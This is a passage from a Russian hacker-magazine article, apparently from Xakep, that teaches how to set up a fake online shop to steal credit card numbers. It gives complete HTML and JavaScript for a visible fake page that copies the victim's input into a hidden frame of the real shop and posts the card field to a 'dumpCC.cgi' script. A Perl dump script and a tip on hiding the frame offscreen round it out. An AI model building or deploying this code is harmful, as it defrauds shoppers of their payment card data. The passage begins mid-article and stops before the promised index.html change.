НАСАДКА НА ОНЛАЙН-МАГАЗИН - технология перехвата кред aDm Спецвыпуск Xakep, номер #029, стр. 029-076-3 <script language=JavaScript> function doGo() { parent.window.real.location.href="link2.html" } </script></head> <body> Поддельный онлайн-магазин <a href=link1.html OnClick="doGo();">[Каталог товаров]</a> </body></html> ------ fake.html ------ ------ real.html ------ <html><head><title>::: Лучший онлайн-магазин :::</title></head> <body> Реальный онлайн-магазин<br> <a href=link2.html>[Каталог товаров]</a> </body></html> ------ real.html ------ Качай все это на сервак и пробуй. При нажатии на ссылку "Каталог товаров" в правом фрейме и загрузке в нем файла link1.html, в левом фрейме должен загружаться файл link2.html. Ощутил силу :)? Поехали дальше. Следующее геморройное действие юзера, которое надо дублировать – это заполнение форм. Дополняй файлы fake.html и real.html следующим образом: ------ fake.html ------ <html><head><title>::: Лучший онлайн-магазин :::</title> <script language=JavaScript> function doSubmit() { parent.real.document.real_form.submit() } function doChange() { parent.real.document.real_form.CC_num.value=parent.fake.document.fake_form.text1.value } function doGo() { parent.window.real.location.href="link2.html" } </script></head> <body> Поддельный онлайн-магазин <form method=post action=/cgi-bin/dumpCC.cgi name=fake_form> <input type=text name=text1 onChange="doChange();"> <input type=submit value=" ok " onClick="doSubmit();"> </form> <br> <a href=link1.html OnClick="doGo();">[Каталог продуктов]</a> </body></html> ------ fake.html ------ ------ real.html ------ <html><head><title>::: Лучший онлайн-магазин :::</title> </head> <body> Реальный онлайн-магазин<br> <form method=post action="/cgi-bin/orderSend.cgi" name=real_form> <input type=text name=CC_num> <input type=submit value=" ok "> </form> </body></html> ------ real.html ------ И еще надо создать две cgi’шки – это в тестовых целях, чтоб мы видели, что вся инфа из форм постится правильно. Создавай файлы с одинаковым содержанием dumpCC.cgi и orderSend.cgi и швыряй их в папку cgi-bin. ------ dumpCC.cgi/orderSend.cgi ------ #!/usr/bin/perl print "Content-type:text/html\n\n"; print <STDIN>; ------ dumpCC.cgi/orderSend.cgi ------ Теперь заливай, и проверяем. При изменении текстового поля в правом фрейме, текстовое поле в левом фрейме тоже меняется! Но это еще не все: при нажатии кнопаря "Ok" и отправке формы из правого фрейма, форма в левом фрейме тоже отправляется! Получается, что юзер заполняет форму в видимом фрейме – при этом точно так же заполняется форма в невидимом фрейме – и отправляет ее, одновременно отправляя форму из невидимого фрейма. Кстати, по поводу невидимости: перепиши index.html следующим образом, и левый фрейм уберется у тебя за край экрана – станет невидимым. |